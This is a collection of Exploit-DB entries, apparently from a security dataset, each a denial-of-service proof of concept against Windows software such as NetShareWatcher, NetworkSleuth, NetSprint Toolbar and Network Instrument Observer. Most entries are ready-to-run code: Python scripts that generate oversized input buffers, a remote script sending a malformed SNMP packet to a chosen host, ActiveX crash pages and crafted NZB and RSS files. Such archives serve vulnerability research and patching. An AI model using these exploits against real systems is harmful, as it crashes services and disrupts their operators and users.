deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3399
Description: Netrek 2.12.0 - 'pmessage2()' Remote Limited Format String
Type: dos
Platform: windows
Date: 2007-03-02
Author: Luigi Auriemma

Exploit:
#######################################################################

                            Luigi Auriemma
Application:  Netrek
              http://www.netrek.org
Versions:     <= 2.12.0 (Vanilla server)
Platforms:    *nix and Windows
Bug:          format string
Exploitation: remote (in-game)
Date:         02 Mar 2007
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################

1) Introduction
2) Bug
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

Netrek is a well known real-time strategy game inspired to Star Trek.

#######################################################################

======
2) Bug
======

The Vanilla server is affected by a format string vulnerability caused
by the calling of the pmessage2() function without the needed format
argument.

The bug is located in new_warning() and can be exploitated through the
locking of a player (the same attacker too) who is using a malformed
nickname.

Note that the EVENTLOG switch must be enabled for exploiting this
vulnerability (default is disabled).

from ntserv/warning.c:

void new_warning(int index, const char *fmt, ...) {

 char temp[150];

 va_list args;
 va_start(args, fmt);

 vsprintf(temp, fmt, args);

 ...

 if (eventlog) {

   char from_str[9]="WRN->\0\0\0";

   strcat(from_str, me->p_mapchars);
   pmessage2(0, 0, from_str, me->p_no, temp);
 }


#######################################################################

===========
3) The Code
===========

http://aluigi.org/poc/netrekfs.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3399.zip (03022007-netrekfs.zip)

#######################################################################

======
4) Fix
======

Version 2.12.1

#######################################################################


# milw0rm.com [2007-03-02]
Exploit-DB #45095
Description: NetScanTools Basic Edition 2.5 - 'Hostname' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-07-27
Author: Luis Martínez

Exploit:
# Exploit Title: NetScanTools Basic Edition 2.5 - 'Hostname' Denial of Service (PoC)
# Discovery by: Luis Martínez
# Discovery Date: 2018-07-26
# Vendor Homepage: https://www.netscantools.com/
# Software Link : http://download.netscantools.com/nstb250.zip
# Tested Version: 2.5
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python NetScanTools_Basic_Edition_2.5.py
# 2.- Open NetScanTools_Basic_Edition_2.5.txt and copy content to clipboard
# 3.- Open NstBasic.exe
# 4.- Ping and Traceroute Tools
# 5.- Ping
# 6.- Paste ClipBoard on Target Hostname or IPv4 Address
# 7.- Do Ping
# 8.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 1125
f = open ("NetScanTools_Basic_Edition_2.5.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #19783
Description: Netscape Enterprise Server 3.6 SP2/FastTrack Server 2.0.1 - GET
Type: dos
Platform: windows
Date: 1999-08-25
Author: ISS X-Force

Exploit:
source: https://www.securityfocus.com/bid/1024/info

A GET request containing over 4080 characters will cause the httpd.exe process to crash within Netscape Enterprise Server 3.6, resulting in a Dr. Watson error. Arbitrary code can be executed remotely at this point. 

Netscape Enterprise Server 3.5 running on either Netware or Solaris is not known to be susceptible to this issue.

GET /(4080 character string) HTTP/1.0
Exploit-DB #39242
Description: NetSchedScan 1.0 - Crash (PoC)
Type: dos
Platform: windows
Date: 2016-01-15
Author: Abraham Espinosa

Exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title     : NetSchedScan v1.0 scan Hostname/IP Field Buffer Overflow Crash PoC
# Discovery by      : Abraham Espinosa
# Email        	    : hechoenmexicomx@hotmail.com
# Discovery Date    : 14/01/2016
# Vendor Homepage   : http://www.foundstone.com
# Software Link     : http://www.mcafee.com/us/downloads/free-tools/netschedscan.aspx#
# Tested Version    : 1.0
# Vulnerability Type    : Denial of Service (DoS) Local
# Tested on OS      : Windows 8.1 x64 es
# Steps to Produce the Crash: 
# 1.- Run python code : python NetSchedScan.py
# 2.- Open NetSchedScan.txt and copy content to clipboard
# 3.- Open NetSchedScan.exe
# 4.- Clic button Ok
# 5.- Paste Clipboard Scan > Hostname/IP
# 6.- Clic on add button (->)
# 7.- Clic button Aceptar
# 8.- Crashed
 
buffer = "\x41" * 388
eip = "\x43" * 4
 
f = open ("NetSchedScan.txt", "w")
f.write(buffer + eip)
f.close()
Exploit-DB #22970
Description: NetScreen ScreenOS 4.0.1/4.0.3 - TCP Window Size Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-07-29
Author: Papa loves Mambo

Exploit:
source: https://www.securityfocus.com/bid/8302/info

NetScreen ScreenOS has been reported prone to a vulnerability that may allow a remote user to trigger a denial of service condition in an affected appliance.

It has been reported that by modifying system configuration values that control the TCP window size, an attacker may connect to and trigger a denial of service in an appliance that is running a vulnerable version of ScreenOS.

This issue only affects some ScreenOS 4.0.1rx and 4.0.3rx releases. NetScreen IDP, NetScreen Firewall/VPN products running ScreenOS 3.x and earlier, 4.0.0, and 4.0.2 are not vulnerable. The vendor has supplied upgrades for affected versions.

Modifying registry values on a Windows 2000 system, to reflect the proof of concept below, and connecting to an affected appliance is sufficient to demonstrate the issue:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
New DWORD Value

Tcp1323Opts
HEX
3
Exploit-DB #37763
Description: NetServe FTP Client 1.0 - Local Denial of Service
Type: dos
Platform: windows
Date: 2015-08-12
Author: Un_N0n

Exploit:
********************************************************************************************
# Exploit Title: NetServe FTP Client 1.0 DOS (Overflow).
# Date: 8/12/2015
# Exploit Author: Un_N0n
# Software Link:  http://netserve-ftp-client.en.softonic.com/
# Version: Version 1.0.0 
# Tested on: Windows 7 x64(64 BIT)
********************************************************************************************

[Steps to Produce the Crash]:
1- Open up NetServeFTPClient.exe
2- Click on 'Site List'.
3- Select any Directory and Click on NEW.
4- In the Fields like NAME, FTP_PATH, Username, Password Paste in the Junk Produced by PY script given Below.
Program will crash saying 'Run Time Error (6), Overflow'.

[Reason?]
Acc to MSDN:"An overflow results when you try to make an assignment that exceeds the limitations of the target of the assignment."
REF for More Info: https://msdn.microsoft.com/en-us/library/aa264525(v=vs.60).aspx


[Code to produce evil bleh.txt ;)]: 
data = "\x41" * 8000
file = open("bleh.txt","w")
file.write(data)
file.close()

[Link for Software: ]
http://netserve-ftp-client.esoftfinder.com/download/
**********************************************************************************************************************************************
Exploit-DB #46417
Description: NetSetMan 4.7.1 - 'Workgroup' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-19
Author: Victor Mondragón

Exploit:
#Exploit Title: NetSetMan 4.7.1 'Workgroup' - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2018-02-17
#Vendor Homepage: https://www.netsetman.com/
#Software Link: https://www.netsetman.com/netsetman.exe
#Tested Version: 4.7.1
#Tested on: Windows 10 Single Language x64 / Windows 7 x32 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: NetSetMan_4.7.1.py
#2.- Open netsetman.txt and copy content to clipboard
#3.- Open NetSetMan
#4.- Enable "Workgroup" and Paste Clipboard
#5.- Click on "Activate"
#6.- Crashed

cod = "\x41" * 100

f = open('netsetman.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #47860
Description: NetShareWatcher 1.5.8.0 - 'Key' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-06
Author: Ismail Tasdelen

Exploit:
# Exploit Title: NetShareWatcher 1.5.8.0 - 'Key' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://netsharewatcher.nsauditor.com/downloads/NetShareWatcher_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install NetShareWatcher
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Key' and click on 'Ok'
6.NetShareWatcher Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
Exploit-DB #47848
Description: NetShareWatcher 1.5.8.0 - 'Name' Denial Of Service
Type: dos
Platform: windows
Date: 2020-01-06
Author: Ismail Tasdelen

Exploit:
# Exploit Title: NetShareWatcher 1.5.8.0 - 'Name' Denial Of Service
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://netsharewatcher.nsauditor.com/downloads/NetShareWatcher_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install NetShareWatcher
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Name' and click on 'Ok'
6.NetShareWatcher Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
Exploit-DB #29867
Description: NetSprint Ask IE Toolbar 1.1 - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2007-04-17
Author: Michal Bucko

Exploit:
source: https://www.securityfocus.com/bid/23535/info

NetSprint Ask IE Toolbar ActiveX control is prone to multiple denial-of-service vulnerabilities.

Exploiting these issues allows remote attackers to crash applications that employ the vulnerable controls (typically Microsoft Internet Explorer). Attackers may potentially exploit these issues to execute code, but this has not been confirmed.

NetSprint Ask IE Toolbar 1.1 is vulnerable; other versions may also be affected.

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:89D30B4C-2408-4E78-A334-8FF8A9713EA7' id='target' />
<script language='vbscript'>

arg=String(4000, "A")

target.AddAllowed arg

</script></job></package>
Exploit-DB #3790
Description: NetSprint Toolbar - ActiveX 'toolbar.dll' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2007-04-24
Author: Umesh Wanve

Exploit:
<!--

  ===============================================================================================
                        NetSprint Toolbar ActiveX toolbar.dll DOS POC
                                            By Umesh Wanve 
  ==============================================================================================   
        
  Date :     24-04-2007
 
  Tested on: Windows 2000 SP4 Server English
             Windows 2000 SP4 Professional English
  
  Reference: https://www.securityfocus.com/bid/23530

  Vendor:    http://netsprint.pl/toolbar/install.html
         


  
  Desc: This is very interesting vulnerability. The function ischecked() takes URL as string parameter.
       But actually it is not handled by dll. When we don't give any parameter i.e. target.ischecked "" the 
       IE works fine. But when we supply data as parameter the IE crashes. Interestingly you can able to 
       see your data on the stack. But I am not able to overwrite any registers or SEH. So though our
       data is on the stack. Its hard to exploit. So only dos. 

       May be someone can get success in this. Let me know if u find.

  
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Always thanks to Metasploit and Stroke.

-->


<html>

<title>
 NetSprint Toolbar ActiveX toolbar.dll DOS POC - By Umesh Wanve
</title>


<body>
<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:34F459B8-1D37-4FF2-9EFA-192D8E3ABA6F" > </OBJECT>

<script language="vbscript">


targetFile = "C:\WINNT\Downloaded Program Files\toolbar.dll"
prototype  = "Function IsChecked ( ByVal url As String ) As Long"
memberName = "IsChecked"
progid     = "SoftomateLib.SoftomateObj"
argCount   = 1

arg1=String(500, "A")

target.IsChecked arg1

</script>

</body>

</html>

# milw0rm.com [2007-04-24]
Exploit-DB #35804
Description: NetVault: SmartDisk 1.2 - 'libnvbasics.dll' Remote Denial of Service
Type: dos
Platform: windows
Date: 2011-05-28
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/48029/info

NetVault: SmartDisk is prone to a remote denial-of-service vulnerability.

A successful exploit will cause the application to crash, effectively denying service.

NOTE: Remote code execution may be possible; however, this has not been confirmed.

NetVault: SmartDisk versions 1.2.2 and prior are affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35804.zip
Exploit-DB #20432
Description: Network Associates Webshield SMTP 4.5 - Invalid Outgoing Recipient Field Denial of Service
Type: dos
Platform: windows
Date: 2000-11-23
Author: Jari Helenius

Exploit:
source: https://www.securityfocus.com/bid/1999/info

Network Associates WebShield SMTP is an email virus scanner designed for internet gateways.

In the event that WebShield SMTP receives an outgoing email containing six "%20" followed by any character within the recipient field, the application will crash, resulting in an access violation error upon processing of the email. Restarting WebShield SMTP is required in order to regain normal functionality. It has been unverified as to whether or not arbitrary code can be executed on the target system if specially crafted code is inserted into the buffer. 

recipient@f%20f%20f%20f%20f%20f%20f
Exploit-DB #18587
Description: Network Instrument Observer - SNMP SetRequest Denial of Service
Type: dos
Platform: windows
Date: 2012-03-12
Author: Francis Provencher

Exploit:
Application:   Network Instrument Observer SNMP SetRequest Denial of Service Vulnerability

Platforms:   Windows 

Secunia:   SA47898  

{PRL}:   2012-05

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
Network Instruments develops software and hardware solutions for analyzing and managing network
and application performance, such as network analyzers. They were founded in 1994, and are headquartered
in Minneapolis, Minnesota. The mainstay product of Network Instruments is its Observer family of network
analyzers (including Observer, Observer Expert and Observer Suite). The Observer product family was built for
real-time analysis, monitoring, and reporting of full-duplex network links in environments including local area networks
(LAN), wireless, Fibre Channel, Wide Area Networks, gigabit Ethernet, and Full duplex 10 GbE

(http://en.wikipedia.org/wiki/Network_Instruments)

#####################################################################################

============================
2) Report Timeline
============================

2012-02-07  Vulnerability reported to Secunia
2012-03-12  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
The vulnerability is caused due to a NULL-pointer dereference error when copying an octet string from
a variable binding list. This can be exploited to cause a crash via a specially crafted SNMP SetRequest PDU
sent to UDP port 162. 

#####################################################################################

===========
4) The Code
===========

#!/usr/bin/python

import sys,os,socket

if len(sys.argv) < 3:
	print "Usage: host,port"
	sys.exit(0)

host=sys.argv[1]
port=int(sys.argv[2])



sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

sock.connect((host,port))

sock.send("\x30\x35\x02\x01\x00\x04\x07\x70\x72\x69\x76\x61\x74\x65\xA3\x27\x02\x04\x00\x00\x00\x00\x02\x01\x00\x02\x01\x00\x30\x19\x30\x17\x06\x08\x2B\x06\x01\x02\x01\x01\x04\x00\x04\x84\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")

print "done!"

sock.close()
Exploit-DB #46367
Description: NetworkSleuth 3.0 - 'Name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-13
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: NetworkSleuth 3.0 - Denial of Service (PoC)
# Date: 12/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.nsauditor.com/
# Software Link: http://www.nsauditor.com/downloads/networksleuth_setup.exe
# Version: 3.0.0.0
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "NetworkSleuth.py", it will create a new file "PoC.txt"
# 2.- Copy the text from the generated PoC.txt file to clipboard
# 3.- Open NetworkSleuth.exe 
# 4.- Go to Register > Enter Registration Code...
# 5.- Paste clipboard in 'Name' field
# 6.- Write '1234' in 'Key' field
# 7.- Clic on button -> Ok
# 8.- Crashed

buffer = "\x41" * 256
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #47853
Description: NetworkSleuth 3.0.0.0 - 'Key' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-06
Author: Ismail Tasdelen

Exploit:
# Exploit Title: NetworkSleuth 3.0.0.0 - 'Key' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/networksleuth_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install BlueAuditor
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Key' and click on 'Ok'
6.BlueAuditor Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
Exploit-DB #29617
Description: News File Grabber 4.1.0.1 - Subject Line Stack Buffer Overflow (1)
Type: dos
Platform: windows
Date: 2007-02-19
Author: Parveen Vashishtha

Exploit:
source: https://www.securityfocus.com/bid/22617/info

News File Grabber is prone to a remote stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

Exploiting this issue allows attackers to execute arbitrary machine code in the context of the affected application.

This issue affects version 4.1.0.1; other versions may also be affected. 

#!/usr/bin/perl
# ===============================================================================================
#                News File Grabber Subject Line Stack Buffer Overflow perl exploit 
#                               By Parveen vashishtha (parveen_vashishtha@yahoo.com)
# ==============================================================================================          
# Reference : https://www.securityfocus.com/bid/22617
#
# 
#
# Buffer overflow exists in Subject parameter of the .nzb file
# By Passing a newline char it crashes
# So here you go.
# 
#================================================================================================

use strict;

my($file_header)="<?xml version=\"1.0\" encoding=\"iso-8859-1\" ?>\n".
			"<!DOCTYPE nzb PUBLIC \"-//newzBin//DTD NZB 1.0//EN\" \"http://www.newzbin.com/DTD/nzb/nzb-1.0.dtd\">\n".
			"<!-- NZB Generated by Parveen Vashishtha -->\n".
			"<nzb xmlns=\"http://www.google.com\">\n\n";

my($file_end)="</segment>\n".
"</segments>\n".
"</file>\n".
"</nzb>\n";


open(OUTPUTFILE, ">poc.nzb");                        # Crafted .NZB file 
 
print OUTPUTFILE $file_header;                       # Writing Header

print OUTPUTFILE "<file poster=\"Poster\" date=\"[PII_REDACTED]\"\nsubject=\"";    # Vulnerable SUBJECT parameter

print OUTPUTFILE "\\n";

print OUTPUTFILE "\">\n<groups><group>some group</group></groups>\n<segments>\n<segment bytes=\"30\" number=\"1\">some name";
print OUTPUTFILE $file_end;                                     # End of file


close(OUTFILE);
Exploit-DB #3930
Description: NewzCrawler 1.8 - invalid string Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-05-15
Author: gbr

Exploit:
ï»¿NewzCrawler 1.8 Remote Denial of Service
Credits: gbr
Tested on Windows XP SP2

NewzCrawler 1.8 becomes usntable and begin crash when parsering the 'url' atribute of
'enclosure' sub-element contends some invalid string* at time of show a new item of a 
RSS 2.0 file.

* '%s', '%Y', '%%', 'n,', and others.

PoC:

<?xml version="1.0"?>
<rss version="2.0">

<channel>
        <title>Test</title>
        <link></link>
        <description></description>

        <item>
                <title>Remote DoS PoC</title>
                <enclosure url="%s"/>
        </item>
</channel>
</rss>

# milw0rm.com [2007-05-15]
Exploit-DB #50433
Description: NIMax 5.3.1 - 'Remote VISA System' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2021-10-21
Author: LinxzSec

Exploit:
# Exploit Title: NIMax 5.3.1 - 'Remote VISA System' Denial of Service (PoC)
# Date: 24/06/2021
# Exploit Author: LinxzSec
# Vulnerability: Local Denial of Service (DoS)
# Vendor Homepage: https://www.ni.com/en-gb.html
# Software Link: License Required - https://knowledge.ni.com/KnowledgeArticleDetails?id=kA03q000000YGQwCAO&l=en-GB
# Tested Version: 5.3.1f0
# Tested On: Windows 10 Pro x64

'''[ POC ]
1 - Copy printed "AAAAA..." string from "nimax.txt"
2 - Open NIMax.exe
3 - Right click "Remote systems" and press "Create New"
4 - Select "Remote VISA System" and press "Next"
5 - Paste clipboard in "Remote VISA System Address"
6 - Press finish and DoS will occur
'''

buffer = "\x41" * 5000

try:
    f = open("nimax.txt", "w")
    f.write(buffer)
    f.close()
    print("[+] File created!")
except:
    print("[+] File could not be created!")